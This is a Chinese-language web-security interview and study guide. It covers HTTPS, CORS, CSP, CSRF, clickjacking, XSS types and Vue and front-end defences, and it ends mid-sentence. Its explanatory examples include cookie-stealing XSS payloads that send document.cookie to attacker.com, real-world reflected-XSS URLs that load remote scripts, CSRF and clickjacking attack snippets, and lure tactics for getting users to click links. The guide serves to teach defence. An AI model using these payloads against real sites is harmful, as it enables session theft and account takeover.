web常见安全面试题
一、基础概念类
-
HTTP 与 HTTPS 的区别?如何确保 HTTPS 的安全性?
- 答案:
- HTTPS = HTTP + SSL/TLS 加密,通过证书验证身份,防止窃听和篡改。
- 确保安全:使用强加密套件(如 TLS 1.3)、配置 HSTS 头、定期更新证书。
- 答案:
-
什么是同源策略(Same-Origin Policy)?哪些操作受其限制?
- 答案:同协议、域名、端口视为同源。限制:跨域读取 DOM、Cookie、LocalStorage,
但可通过 CORS 放松限制。
- 答案:同协议、域名、端口视为同源。限制:跨域读取 DOM、Cookie、LocalStorage,
-
CORS(跨域资源共享)的工作机制是什么?
- 答案:
- 简单请求:直接发送,服务器返回
Access-Control-Allow-Origin。 - 预检请求(如带自定义头):先发
OPTIONS请求验证权限。
- 简单请求:直接发送,服务器返回
- 答案:
二、攻击与防御类
1. 点击劫持(Clickjacking)
- 问题:如何防御点击劫持?
- 答案:
- 设置 HTTP 头
X-Frame-Options: DENY或SAMEORIGIN。 - 使用 CSP 的
frame-ancestors指令限制嵌入来源。 - 前端代码检测
if (window !== window.top) { ... }。
- 设置 HTTP 头
- 答案:
3. 文件上传漏洞
- 问题:如何安全实现文件上传功能?
- 答案:
- 校验文件类型(检查文件头而非扩展名)。
- 重命名文件(避免路径拼接),存储到非 Web 目录。
- 禁用上传文件的可执行权限。
- 答案:
4. 反序列化漏洞
- 问题:反序列化漏洞的成因和防御方案?
- 答案:
- 成因:反序列化未验证的数据时触发恶意代码(如 Java 的
readObject())。 - 防御:避免反序列化不可信数据;使用 JSON 替代原生序列化;签名验证数据完整性。
- 成因:反序列化未验证的数据时触发恶意代码(如 Java 的
- 答案:
5. 业务逻辑漏洞
- 问题:举例说明业务逻辑漏洞的防御思路。
- 答案:
- 示例:短信验证码爆破(无限重试)。
- 防御:验证码复杂度 + 频率限制(如 1 分钟最多 3 次) + 单次有效性。
- 答案:
三、协议与配置类
-
HSTS 的作用是什么?
- 答案:强制浏览器使用 HTTPS(防止 SSL Stripping 攻击),通过响应头
Strict-Transport-Security: max-age=31536000实现。
- 答案:强制浏览器使用 HTTPS(防止 SSL Stripping 攻击),通过响应头
-
如何防止 Cookie 被窃取?
- 答案:
- 标记为
Secure(仅 HTTPS 传输)。 - 标记为
HttpOnly(禁止 JavaScript 访问)。 - 使用
SameSite属性(限制跨站携带)。
- 标记为
- 答案:
-
CSP 如何防止数据泄露?
- 答案:通过限制资源加载来源(如
script-src 'self'),阻止恶意脚本外发数据。
- 答案:通过限制资源加载来源(如
四、实战场景类
-
场景:用户反馈账号被盗,如何排查可能的安全问题?
- 思路:
- 检查登录日志(IP、设备异常)。
- 排查 XSS(盗取 Cookie)、CSRF(恶意操作)、密码泄露。
- 验证是否启用多因素认证(MFA)。
- 思路:
-
场景:发现某接口返回了数据库错误信息,如何应对?
- 答案:
- 生产环境关闭调试模式(如
DEBUG=False)。 - 自定义错误页面,避免暴露堆栈信息。
- 使用 Web 应用防火墙(WAF)过滤敏感信息。
- 生产环境关闭调试模式(如
- 答案:
五、工具与测试类
-
常用的 Web 安全测试工具有哪些?
- 答案:
- 主动扫描:OWASP ZAP、Burp Suite、Nessus。
- 被动监控:浏览器开发者工具、Wireshark。
- 依赖检测:Snyk、Dependabot。
- 答案:
-
如何验证网站是否存在 CSP 配置错误?
- 答案:
- 检查 HTTP 响应头的
Content-Security-Policy。 - 使用浏览器控制台查看 CSP 违规报告。
- 工具:
CSP Evaluator(Google 提供的在线检测工具)。
- 检查 HTTP 响应头的
- 答案:
六、进阶问题
-
HTTP/2 相比 HTTP/1.1 有哪些安全改进?
- 答案:强制使用 TLS(非必须但主流实现均要求)、头部压缩(降低敏感信息泄露风险)、多路复用(减少握手开销)。
-
什么是 WebSocket 安全?如何防御 WebSocket 劫持?
- 答案:
- 使用
wss://(WebSocket over TLS)。 - 验证 Origin 头,限制合法域名。
- 避免在 WebSocket 消息中传递敏感令牌。
- 使用
- 答案:
-
如何防御供应链攻击?
- 答案:
- 锁定依赖版本(
package-lock.json)。 - 使用私有镜像源(如 Nexus)审核第三方包。
- 监控 CVE 漏洞(如 GitHub Dependabot)。
- 锁定依赖版本(
- 答案:
七、开放性问题
-
如果让你设计一个安全的登录系统,需要考虑哪些方面?
- 答案:
- 密码策略(复杂度、哈希存储)。
- 会话管理(Token 过期、Cookie 安全属性)。
- 多因素认证(短信/邮件/OTP)。
- 防止爆破(验证码、速率限制)。
- 答案:
-
谈谈你对“零信任”架构在 Web 安全中的应用理解。
- 答案:
- 核心原则:永不信任,持续验证。
- 应用:微服务间双向 TLS 认证、动态权限控制、最小权限原则。
- 答案:
总结
准备 Web 安全面试需掌握:
- 攻防原理:理解常见漏洞的利用和防御。
- 协议细节:HTTP/HTTPS、CORS、CSP、HSTS 等。
- 实战经验:能结合场景分析问题,给出解决方案。
- 工具链:熟悉安全测试工具和修复流程。
建议结合 OWASP Top 10 和真实漏洞案例(如 Log4j、Spring4Shell)加深理解。
web前端工程师如何去验证网站的安全问题 ⭐️⭐️?
作为 Web 前端工程师,验证网站安全问题需要结合代码审查、配置检查、工具检测、手动测试,确保客户端逻辑、资源加载和用户交互的安全性。以下是详细的验证方法和实践步骤:
一、代码层面的安全验证
1. XSS 漏洞
- 检测点:
- 检查是否直接使用
innerHTML或document.write()插入未过滤的用户输入。 - 验证是否对用户输入进行转义(如使用
DOMPurify或textContent)。
- 检查是否直接使用
- 示例:
// 危险写法 element.innerHTML = userInput; // 安全写法 element.textContent = userInput;
2. 不安全的第三方库
- 工具:
- 安全审计指令:
npm audit/yarn audit:扫描项目依赖中的已知漏洞。 Snyk/Dependabot:自动监控并修复依赖漏洞。
- 安全审计指令:
3. 验证 CSP(内容安全策略)配置
- 检查点:
- 是否禁用
'unsafe-inline'和'unsafe-eval'? - 是否通过
nonce或hash签名允许必要的内联脚本?
- 是否禁用
- 工具:
- 浏览器控制台查看 CSP 违规报告。
- 在线工具:CSP Evaluator 分析策略强度。
二、配置检查
1. 检查关键 HTTP 响应头
- 必需头:
Content-Security-Policy(CSP):限制资源加载来源。Strict-Transport-Security (HSTS):强制 HTTPS。X-Frame-Options: DENY:防御点击劫持。X-Content-Type-Options: nosniff:禁止 MIME 类型嗅探。Referrer-Policy:控制 Referrer 信息泄露。
- 验证工具:
- SecurityHeaders.com 在线检测响应头配置。
2. 验证 HTTPS 配置
- 检查点:
- 证书是否有效且未过期?
- 是否禁用弱加密算法(如 TLS 1.0、SSLv3)?
- 工具:
- SSL Labs 测试服务器 SSL/TLS 配置评分。
三、工具自动化检测
- Lighthouse(集成于 Chrome DevTools):
- 检测 HTTPS 配置、
安全头(如 CSP、HSTS)、被动混合内容。
- 检测 HTTPS 配置、
- OWASP ZAP / Burp Suite:
- 自动化扫描 XSS、CSRF、CORS 配置错误等漏洞。
- WebPageTest:
- 检查资源加载安全性和 HTTPS 合规性。
四、手动测试常见攻击场景
1. 表单与输入过滤
- 测试步骤:
- 在输入框尝试注入脚本:
<script>alert(1)</script>。 - 提交后检查页面是否弹窗或脚本执行。
- 在输入框尝试注入脚本:
- 防御验证:
- 输入内容是否被转义(如
<转为<)? - 富文本编辑器是否使用白名单过滤(如
DOMPurify)?
- 输入内容是否被转义(如
2. CSRF 漏洞验证
- 测试步骤:
- 构造一个伪造的 POST 请求表单(无 CSRF Token):
<form action="https://your-site.com/transfer" method="POST"> <input type="hidden" name="amount" value="1000"> </form> - 提交表单,检查服务端是否返回
403 Forbidden。
- 构造一个伪造的 POST 请求表单(无 CSRF Token):
3. 验证点击劫持(Clickjacking)防御
- 测试步骤:
- 尝试将页面嵌入到
<iframe>中:<iframe src="https://your-site.com"></iframe> - 检查是否触发
X-Frame-Options: DENY或 CSP 的frame-ancestors策略。 - 使用工具如 Clickjacking Test Tool 模拟攻击。
- 尝试将页面嵌入到
总结:前端安全验证清单
| 类别 | 关键检查项 | 工具/方法 |
|---|---|---|
| 代码安全 | XSS、CSRF、敏感数据硬编码 | ESLint、人工审查、Snyk |
| 网络与协议 | HTTPS 配置、安全头、CSP | SSL Labs、SecurityHeaders.com |
| 用户输入 | 表单注入、文件上传校验 | 手动测试、OWASP ZAP |
| 第三方依赖 | 漏洞库版本、SRI 校验 | npm audit、浏览器开发者工具 |
| 持续监控 | CI/CD 集成、CSP 违规报告 | Lighthouse CI、Sentry |
通过以上方法,前端工程师可以系统性验证和加固网站安全性,结合自动化和手动测试,确保用户数据和业务逻辑的可靠性
Vue项目怎么去做安全防范实践
在 Vue 项目中,前端安全防范需从代码层、交互层、依赖层、接口层多维度入手,结合 Vue 生态特性和前端安全最佳实践,以下是具体实践方案:
一、防范 XSS 攻击(跨站脚本攻击)
XSS 是前端最常见的安全威胁,Vue 本身提供了一定防护,但仍需注意以下实践:
-
避免滥用
v-htmlVue 的模板编译会自动对插值({{ }})内容进行 HTML 转义,但v-html会直接渲染 HTML,若内容不可信(如用户输入),易引发 XSS。- 实践:仅在渲染可信后端输出时使用
v-html,对用户输入的富文本内容,需后端先进行 HTML 过滤(如使用DOMPurify库)。
<!-- 危险:直接渲染用户输入 --> <div v-html="userInput"></div> <!-- 安全:后端过滤后渲染 --> <div v-html="sanitizedUserInput"></div> - 实践:仅在渲染可信后端输出时使用
-
动态组件与渲染函数的安全 若使用
component :is或h()函数动态渲染组件 / HTML,需确保内容来源可信。- 实践:对动态内容进行白名单校验,仅允许渲染已知安全的组件或 HTML 结构。
-
自定义指令与插件的安全 第三方指令或插件可能存在 XSS 风险,需审查其源码,避免执行不可信脚本。
二、防范 CSRF 攻击(跨站请求伪造)
CSRF 是攻击者诱导用户在已认证的状态下执行非预期操作,Vue 项目可通过以下方式防范:
-
后端配合:CSRF Token 验证前端在请求中携带后端生成的 CSRF Token,后端校验 Token 合法性。
- 实践:在
axios请求拦截器中统一添加 Token(存储在Cookie或localStorage)。
// axios 拦截器示例 import axios from 'axios'; axios.interceptors.request.use(config => { config.headers['X-CSRF-Token'] = localStorage.getItem('csrfToken'); return config; }); - 实践:在
-
SameSite Cookie 属性若后端使用 Cookie 认证,设置
SameSite=Strict或Lax,限制 Cookie 在跨站请求中发送。
三、敏感数据与接口安全
-
敏感数据不暴露在前端
- 避免在代码中硬编码密钥、密码、接口私钥等敏感信息,这些应仅存于后端。
- 用户密码等信息需由后端加密存储,前端仅负责 “传输”(且传输需加密)。
-
接口身份认证与授权
- 使用 JWT 或 OAuth2.0 进行身份认证,Token 存储优先选择
HttpOnly Cookie(可防止 XSS 窃取);若需存于localStorage,需确保前端无 XSS 漏洞。
- 使用 JWT 或 OAuth2.0 进行身份认证,Token 存储优先选择
-
接口请求加密与校验
- 所有接口请求使用 HTTPS,防止数据明文传输。
- 对敏感接口(如支付、修改密码),可添加签名机制:前端将请求参数、时间戳、密钥(后端提供)进行哈希加密,后端校验签名合法性。
四、依赖包安全
Vue 项目依赖的 npm 包可能存在漏洞,需定期审计:
-
使用
npm audit或snyk扫描漏洞执行npm audit可查看项目依赖的安全漏洞,及时更新或替换有风险的包。npm audit npm audit fix # 自动修复可更新的漏洞包 -
锁定依赖版本与校验完整性
- 在
package-lock.json或yarn.lock中锁定依赖版本,避免自动升级引入新漏洞。 - 使用
npm ci而非npm install安装依赖,确保版本与锁文件完全一致。
- 在
五、其他安全实践
-
防止点击劫持(ClickJacking) 后端设置响应头
X-Frame-Options: DENY或SAMEORIGIN,禁止页面被第三方网站嵌入 iframe。 -
代码混淆与压缩生产环境中对 JS 代码进行混淆(如使用
terser-webpack-plugin),增加逆向工程难度。 -
安全开发流程
- 引入代码审计工具(如 ESLint 的
security规则集),在开发阶段拦截安全隐患。 - CI/CD 流程中加入安全扫描(如依赖漏洞扫描、代码漏洞扫描)。
- 引入代码审计工具(如 ESLint 的
通过以上实践,可从输入过滤、请求校验、依赖审计、权限控制等层面构建 Vue 项目的安全防护体系,同时需注意前端安全是 “前后端配合” 的过程,后端的安全策略(如接口校验、Cookie 设置)也是关键环节。
Lighthouse 通过命令行 (适合自动化或批量测试)
-
安装 Lighthouse:需先安装 Node.js(v14+),然后通过 npm 安装:
npm install -g lighthouse -
执行安全测试:在终端运行以下命令(指定仅测试安全性):
lighthouse https://目标网站地址 --view --only-categories=security--view:测试完成后自动在浏览器打开报告。--only-categories=security:仅运行安全测试(加速测试过程)。
三、安全测试报告解读
测试完成后,Lighthouse 会生成一份详细报告,安全部分主要包含以下内容:
1. 安全评分(Score)
- 0-100 分,分数越高表示安全隐患越少。
- 评分基于所有安全检测项的通过情况(部分关键项不通过会大幅扣分)。
2. 关键安全检测项(Passed/Failed)
Lighthouse 会列出所有检测项,分为 “通过(Passed)” 和 “未通过(Failed)”,重点关注未通过项:
| 常见检测项 | 含义 | 风险 | 修复建议 |
|---|---|---|---|
| HTTPS 加密 | 网站是否使用 HTTPS 协议 | 未使用 HTTPS 会导致数据传输明文暴露,易被窃听或篡改 | 配置 SSL 证书(如 Let's Encrypt 免费证书),强制跳转 HTTPS(通过 HSTS 头) |
| HTTPS 混合内容 | HTTPS 页面是否加载 HTTP 资源(如图片、JS) | 混合内容会导致浏览器标记网站 “不安全”,且 HTTP 资源可能被篡改 | 将所有资源链接改为 HTTPS(如 http:// 改为 https://) |
| XSS 防护(X-XSS-Protection) | 是否启用浏览器内置 XSS 过滤器 | 未启用可能增加跨站脚本攻击风险 | 服务器响应头添加 X-XSS-Protection: 1; mode=block |
| 内容安全策略(CSP) | 是否配置 CSP 限制资源加载来源 | 缺少 CSP 易受 XSS、点击劫持等攻击 | 配置 Content-Security-Policy 头,限制脚本、样式等资源的加载域名(如 default-src 'self') |
| 密码传输安全 | 登录表单是否通过 HTTPS 提交 | HTTP 传输密码会直接暴露 | 确保登录 / 注册页面使用 HTTPS,且表单提交地址为 HTTPS |
| 不安全的请求方法 | 是否在 HTTPS 外使用 PUT/DELETE 等方法 | 非 HTTPS 下使用这些方法可能导致数据篡改 | 所有请求(尤其是写操作)均使用 HTTPS |
| iframe 沙箱(Sandbox) | 嵌入的 iframe 是否限制权限 | 未沙箱化的 iframe 可能执行恶意脚本 | 对不可信的 iframe 添加 sandbox 属性(如 <iframe sandbox="allow-scripts">) |
| 敏感信息暴露 | 响应头是否包含敏感信息(如服务器版本) | 暴露版本信息可能被攻击者利用已知漏洞 | 移除 X-Powered-By、Server 等头,或仅返回模糊信息 |
3. 修复指引(Opportunities)
报告中每个 “未通过” 项都会附带详细修复步骤,例如:
- 对于 “缺少 CSP 头”,会提示具体的头配置示例和作用。
- 对于 “混合内容”,会列出具体哪些资源是 HTTP 链接,方便定位修改。
四、注意事项
-
Lighthouse 的局限性:
- 仅检测前端可观测的安全配置(如响应头、传输协议),无法检测后端逻辑漏洞(如 SQL 注入、权限绕过)。
- 需结合其他工具(如 OWASP ZAP、Burp Suite)进行深度安全测试。
-
定期测试:网站更新后(如添加新资源、修改服务器配置),建议重新运行 Lighthouse,确保安全配置未被破坏。
-
结合实际场景:部分检测项可能因业务需求需要调整(如 CSP 配置需兼容第三方脚本),需在安全性和功能性之间平衡。
通过 Lighthouse 的安全测试,能快速发现网站的基础安全问题,尤其适合前端开发者和网站维护者作为日常安全检查的第一步。如果需要针对某个具体漏洞的修复细节,可以进一步说明!
web安全实战场景题?
以下是一些常见的Web安全实战场景题及解决方案,帮助你在实际开发中识别和修复漏洞:
场景 1:评论区的XSS攻击
漏洞描述
用户在前端评论区提交了以下内容:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
评论保存后,其他用户访问页面时,脚本自动执行并窃取Cookie。
攻击模拟
- 攻击者在评论区输入恶意脚本并提交。
- 后端未过滤直接存储该内容,前端渲染时通过
innerHTML展示评论。 - 其他用户浏览页面时,脚本执行并发送Cookie到攻击者服务器。
漏洞分析
- 直接原因:前端使用
innerHTML渲染未转义的用户输入。 - 深层问题:缺乏输入验证和输出转义,未配置CSP。
修复方案
- 输入转义:
// 前端渲染时使用textContent替代innerHTML commentElement.textContent = userInput; - 启用CSP:
Content-Security-Policy: default-src 'self'; script-src 'self' - 后端过滤:对用户输入进行HTML实体编码(如
<→<)。
预防措施
- 使用React/Vue等框架时,避免使用
v-html。 - 定期使用工具(如OWASP ZAP)扫描XSS漏洞。
场景 2:CSRF导致用户密码被修改
漏洞描述
攻击者诱导用户点击一个链接,触发以下请求:
<img src="https://example.com/change-password?newPwd=hacked" width="0" height="0">
用户点击后,密码被修改为 hacked。
攻击模拟
- 用户登录了
example.com,会话Cookie有效。 - 用户访问恶意页面,页面自动发送修改密码请求(浏览器自动携带Cookie)。
- 后端未校验请求来源,直接执行操作。
漏洞分析
- 直接原因:敏感操作(如修改密码)未校验CSRF Token。
- 深层问题:依赖Cookie身份验证但未防御跨域请求。
修复方案
- 同步Token模式:
- 后端生成Token并嵌入页面(如
<meta name="csrf-token" content="token">)。 - 前端在请求头中携带Token:
fetch("/change-password", { method: "POST", headers: { "X-CSRF-Token": getCsrfToken() } });
- 后端生成Token并嵌入页面(如
- SameSite Cookie:
Set-Cookie: session=abc123; SameSite=Lax; Secure
预防措施
- 对关键操作强制使用POST请求。
- 使用框架(如Django、Spring Security)内置的CSRF防护。
场景 3:点击劫持(Clickjacking)
漏洞描述
攻击者将目标网站嵌入一个透明iframe,诱导用户点击“隐藏按钮”(如“删除账户”)。
攻击模拟
<style>
iframe { opacity: 0; position: absolute; top: 0; left: 0; width: 100%; height: 100%; }
</style>
<iframe src="https://example.com/delete-account"></iframe>
用户点击页面任意位置时,实际触发了iframe中的删除操作。
漏洞分析
- 直接原因:未设置
X-Frame-Options或Content-Security-Policy防御嵌入。
修复方案
- 设置HTTP头:
X-Frame-Options: DENY # 或使用CSP Content-Security-Policy: frame-ancestors 'none'
预防措施
- 使用SecurityHeaders.com检测网站安全头配置。
总结
- 核心原则:
- 永远不信任用户输入(输入验证 + 输出转义)。
- 最小权限原则(前后端双重校验)。
- 工具链:
- 扫描工具:OWASP ZAP、npm audit、Snyk。
- 监控工具:Sentry、SecurityHeaders.com。
- 持续学习:
- 关注OWASP Top 10最新榜单,参与CTF实战演练(如Hack The Box)。
什么是白名单校验
白名单校验是一种安全机制,用于确保只有经过授权的实体(如
用户、设备、IP 地址、数据等)能够通过验证并获得访问权限或执行特定操作。以下是关于它的详细介绍:
工作原理
- 白名单校验基于一个预先定义好的列表,这个列表中包含了被明确允许的实体信息。当有请求或操作发生时,系统会将请求方的相关信息与白名单中的条目进行比对。
- 如果请求方的信息与白名单中的某一条目匹配,那么该请求就被认为是合法的,系统会允许其通过并执行相应的操作;如果请求方的信息不在白名单中,系统则会拒绝该请求,阻止其访问或执行操作。
应用场景
- 网络访问控制:在网络安全领域,白名单校验常用于控制对网络资源的访问。例如,企业可以设置防火墙,只允许白名单中的 IP 地址访问企业内部网络,其他未在白名单中的 IP 地址的访问请求将被拒绝,从而防止来自外部的未经授权的访问。
- 应用程序权限管理:对于应用程序,可以使用白名单来限制哪些用户或角色能够执行特定的功能或访问特定的资源。只有在白名单中的用户才能够获得相应的权限,这样可以确保应用程序的安全性和稳定性,防止未授权用户对敏感功能的滥用。
- 数据过滤:在数据处理过程中,白名单校验可以用于过滤用户输入的数据。例如,在一个在线表单中,只允许用户输入白名单中规定的字符或格式的数据,其他不符合要求的数据将被视为非法输入而被拒绝,从而防止恶意用户通过输入特殊字符或代码进行攻击,如 SQL 注入、XSS 攻击等。
优点
- 高安全性:白名单校验能够提供较高的安全性,因为它只允许明确授权的实体通过,最大限度地减少了未经授权的访问和潜在的安全威胁。
- 精确控制:可以对访问权限或操作进行精确的控制,企业或系统管理员能够根据具体的需求和安全策略,详细地定义哪些实体是被允许的,从而实现对资源的精细管理。
缺点
- 维护成本:随着系统的发展和变化,白名单需要不断地更新和维护。如果有新的合法实体需要访问系统,就必须将其添加到白名单中,否则可能会导致正常的业务流程受到影响。这需要管理员投入一定的时间和精力来确保白名单的准确性和完整性。
- 灵活性受限:白名单机制相对较为严格,可能会对一些临时或特殊的访问需求造成不便。如果有临时的访问请求,而该请求的实体不在白名单中,就需要经过额外的流程来更新白名单,这可能会影响业务的时效性。
请简单解释XSS与CSRF分别是什么,两者有什么联系?如何防御?⭐️⭐️
XSS与CSRF分别是什么
XSS(cross-site scripting 跨域脚本攻击)
CSRF(Cross Site Request Forgery)跨站请求伪造
两者区别
区别一:XSS:不需要登录。CSRF:需要用户先登录网站A,获取 cookie。
区别二(原理的区别):XSS:是向网站 A 注入 JS代码,然后执行 JS 里的代码,篡改网站A的内容。CSRF:是利用网站A本身的漏洞,去请求网站A的api。
XSS(跨站脚本攻击)诱导用户的常见方法
-
邮件或即时通讯软件:攻击者伪装成可信来源(如银行、社交平台官方等)发送邮件或消息,包含带恶意脚本的链接。比如仿冒银行邮件,
称账户需验证,诱导用户点击链接,实际链接指向被注入恶意脚本的钓鱼网站,一旦用户访问,脚本在浏览器执行,可能窃取 Cookie 等信息。 -
短链接:使用短链接服务隐藏真实 URL,降低用户警惕性。将恶意链接转换为短链接后发给用户,用户点击时跳转到恶意页面触发 XSS 攻击。
-
论坛、社区分享:在热门论坛、社区发布吸引人的帖子,包含恶意链接,如以 “
分享热门软件下载” 为幌子,链接实际带有 XSS 攻击脚本,用户点击下载时中招。 -
利用用户好奇心:编造新奇、热门话题诱导用户,如声称有未公
开明星隐私,热门事件内幕等,吸引用户点击包含恶意脚本的链接。 -
制造紧急或诱惑场景:制作虚假的中奖通知、紧急系统通知页面,利用 XSS 脚本使页面显示逼真,诱导用户点击按钮、输入信息。如弹出 “
您中了大奖,点击领取” 页面,用户点击后触发恶意脚本执行。 -
社交平台互动:在社交平台发布有趣但带恶意脚本的内容(如测试游戏、搞笑视频链接),诱导用户主动点击。例如 “
测测你在朋友心中的形象” 链接,吸引用户参与,实际触发 XSS 攻击。
XSS攻击的原理、分类、具体案例,前端如何防御,为什么会造成xss攻击⭐️⭐️
XSS(Cross-Site Scripting,跨站脚本攻击)是Web安全领域最常见的漏洞之一,攻击者通过注入恶意脚本代码到网页中,当其他用户访问该页面时,浏览器会执行这些恶意代码,从而窃取用户数据、劫持会话或实施其他攻击。以下是关于XSS的详细解析:
一、XSS的基本原理
核心逻辑:
攻击者利用网站未对用户输入进行充分过滤或编码的漏洞,将恶意脚本(JavaScript、HTML、CSS等)注入到网页中,当其他用户访问该页面时,浏览器会执行这些恶意代码。
攻击场景:
- 用户输入内容被直接嵌入到网页中(如评论区)。
- 网站未对动态生成的内容进行
安全处理。
二、XSS三种类型见下题
三、XSS的常见攻击手段
-
窃取Cookie:
document.location='http://attacker.com/steal?cookie='+document.cookie;进而获取用户账号权限,访问、篡改用户数据
-
恶意操作执行:
以用户身份在网站进行发帖、评论、转账等操作
四、XSS的防御措施
1. 输入过滤与验证
- 对用户输入进行严格限制(如长度、类型、格式)。
- 使用白名单机制,仅允许安全的字符(如正则表达式过滤
<script>标签)。
2. 输出编码(关键防御手段)
- 根据输出位置选择合适的编码方式:
- HTML实体编码:将
<转义为<,>转义为>。 - JavaScript编码:使用
\xHH或\uXXXX转义特殊字符。 - URL编码:对参数进行
encodeURIComponent处理。
- HTML实体编码:将
3. 使用安全HTTP头
- Content Security Policy (CSP):
通过HTTP头限制脚本来源,例如:Content-Security-Policy: default-src 'self'; script-src 'self' trusted.com; - HttpOnly Cookie:
设置Cookie的HttpOnly属性,防止JavaScript读取敏感Cookie。Set-Cookie: sessionID=abc123; HttpOnly; Secure
4. 避免危险的API和操作
- 避免直接使用
innerHTML、document.write()等动态插入未过滤内容。 - 使用安全的DOM操作API,如
textContent代替innerHTML。
5. 框架和库的防护
- 现代前端框架(如React、Vue、Angular)默认对输出内容进行转义,对 XSS 有一定防护机制 。
- 使用安全的模板引擎(如Handlebars、EJS),并启用自动转义功能。
五、XSS漏洞的检测与测试
- 手动测试:
- 在输入字段尝试注入
<script>alert(1)</script>、"><img src=x onerror=alert(1)>等Payload。 - 检查页面是否弹出弹窗或执行代码。
- 在输入字段尝试注入
- 工具扫描:
- 使用Burp Suite、OWASP ZAP、XSStrike等工具自动化检测。
- 代码审计:
- 检查代码中是否存在未过滤的输入直接输出到页面的情况。
六、真实案例与影响
- MySpace蠕虫(2005年):
通过存储型XSS,攻击者在用户资料页注入脚本,导致蠕虫式传播,影响数百万用户。 - 微博XSS攻击(2011年):
攻击者利用微博未过滤的输入,自动转发恶意内容,快速扩散钓鱼链接。
总结:XSS的本质是“数据被误解析为代码”,防御的核心是严格区分数据与代码。通过输入过滤、输出编码、CSP等多层防护,结合安全意识培训,可有效降低XSS风险。
XSS的三种类型
1. 反射型XSS(Reflected XSS)
反射型,也叫非存储式跨站脚本攻击,是 XSS 攻击的一种类型
原理
- 1.恶意脚本注入:攻击者把恶意的 JavaScript 脚本等代码,通过 URL 参数、表单数据等方式注入到目标网页请求中。比如在一个搜索功能的 URL 中,将恶意脚本作为参数添加 。
- 2.请求与响应:当用户点击包含恶意脚本的链接,或者提交带有恶意脚本的表单时,浏览器会将包含恶意脚本的请求发送给服务器。服务器接收请求后,未经有效过滤或处理,直接将恶意脚本代码包含在响应中返回给浏览器。
- 3.脚本执行:浏览器接收到服务器响应后,解析并执行其中的恶意脚本。攻击者借此窃取用户信息(如 Cookie )、进行钓鱼攻击(诱导用户输入敏感信息 )、以用户身份执行操作(如发帖、转账 )等。 整个过程类似 “客户端 — 服务器 — 客户端” 的反射,恶意脚本未在服务器存储,仅在用户触发请求时临时存在于请求和响应中,所以叫反射型 XSS 。
特点
- 需要用户主动触发(如点击恶意链接)。
- 攻击代码不会存储在服务器上。
举例
假设有个简单的网站搜索功能,URL 形式为https://example.com/search?q=关键词 。攻击者构造恶意链接https://example.com/search?q=<script>alert('XSS攻击');</script> 。当用户点击该链接,服务器收到请求后,若未对q参数做过滤,直接将其内容返回到搜索结果页面。浏览器解析页面时,会执行<script>alert('XSS攻击');</script>这段代码,弹出提示框。更恶意的情况,攻击者可编写脚本窃取用户 Cookie,发送到自己控制的服务器 。
QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞
攻击者发现
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb这个 URL 的参数uin、domain未经转义直接输出到 HTML 中。于是攻击者构建出一个 URL,并引导用户去点击:http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:
<script>getTop().location.href="/cgi-bin/loginpage? autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false; </script><script>alert(document.cookie)</script>"+"...浏览器接收到响应后就会执行
alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。
新浪微博名人堂反射型 XSS 漏洞
攻击者发现
http://weibo.com/pub/star/g/xyyyd这个 URL 的内容未经过滤直接输出到 HTML 中。于是攻击者构建出一个 URL,然后诱导用户去点击:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:
<li> <a href="http://weibo.com/pub/star/g/xyyyd"> <script src=//xxxx.cn/image/t.js></script>">按分类检索</a> </li>浏览器接收到响应后就会加载执行恶意脚本
//xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。
2. 存储型XSS(Stored XSS)
- 原理:
恶意脚本被提交到服务器并存储(如数据库),当其他用户访问包含该内容的页面时触发。 - 特点:
- 攻击具有持久性,影响范围广。
- 常见于
论坛评论、商品评价、用户资料页等。
- 示例:
在评论区提交内容:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
所有查看该评论的用户Cookie会被发送到攻击者服务器。
区别
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。 反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。 反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。 由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。 POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见`
3. DOM型XSS(DOM-Based XSS)
DOM 型 XSS 即基于文档对象模型的跨站脚本攻击,恶意脚本通过修改页面的DOM结构触发,不经过服务器端处理(纯客户端漏洞)。
原理
- 基于 DOM 操作:攻击者利用客户端脚本程序对 DOM 的操作能力,当用户输入或其他数据源(如 URL 参数、本地存储等 )被恶意构造后,通过 JavaScript 操作 DOM,将恶意脚本注入到页面中并执行。
- 不依赖服务器端交互:与反射型和存储型 XSS 不同,其攻击代码在客户端浏览器中执行,服务器返回的 HTML 文档本身一般不包含恶意脚本(但可能因前端处理不当间接导致漏洞 ),恶意脚本是在客户端处理数据阶段,由 DOM 操作触发执行 。
攻击方式
- DOM 属性污染:攻击者修改页面上 DOM 元素的属性值,比如
src、href等。例如,原本图片标签<img src="example.jpg">,攻击者通过输入恶意内容,将其变为<img src="javascript:alert('XSS');">,当浏览器解析到该标签时,就会执行恶意脚本 。 - DOM 操纵:通过操纵 DOM 元素来注入恶意代码。比如利用
